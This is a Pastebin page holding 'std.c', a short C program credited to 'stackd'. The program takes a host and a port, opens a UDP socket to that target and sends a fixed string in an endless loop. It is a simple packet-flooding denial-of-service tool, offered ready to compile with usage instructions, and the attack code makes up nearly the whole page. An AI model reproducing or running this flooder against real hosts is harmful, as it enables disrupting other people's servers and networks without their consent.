wtfbbq

std.c

May 16th, 2015
1,824
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.15 KB | None | 0 0
  1. /* STD.C By stackd - (root@stackd.net) Define strings to what you feel fit */
  2.  
  3. #define STD2_STRING "std"
  4. #define STD2_SIZE 50
  5.  
  6. #include <stdio.h>
  7. #include <sys/param.h>
  8. #include <sys/socket.h>
  9. #include <netinet/in.h>
  10. #include <netdb.h>
  11. #include <stdarg.h>
  12.  
  13. int echo_connect(char *, short);
  14.  
  15. int echo_connect(char *server, short port)
  16. {
  17.    struct sockaddr_in sin;
  18.    struct hostent *hp;
  19.    int thesock;
  20.    hp = gethostbyname(server);
  21.    if (hp==NULL) {
  22.       printf("Unknown host: %s\n",server);
  23.       exit(0);
  24.    }
  25.    printf(" STD.C -- Packeting %s:%d\n ", server, port);
  26.    bzero((char*) &sin,sizeof(sin));
  27.    bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  28.    sin.sin_family = hp->h_addrtype;
  29.    sin.sin_port = htons(port);
  30.    thesock = socket(AF_INET, SOCK_DGRAM, 0);
  31.    connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
  32.    return thesock;
  33. }
  34.  
  35.  
  36. main(int argc, char **argv)
  37. {
  38.    int s;
  39.    if(argc != 3)
  40.    {
  41.       fprintf(stderr, "[STD2.C BY STACKD] Syntax: %s host port\n",argv[0]);
  42.       exit(0);
  43.    }
  44.    s=echo_connect(argv[1], atoi(argv[2]));
  45.    for(;;)
  46.    {
  47.       send(s, STD2_STRING, STD2_SIZE, 0);
  48.    }
  49. }
Add Comment
Please, Sign In to add comment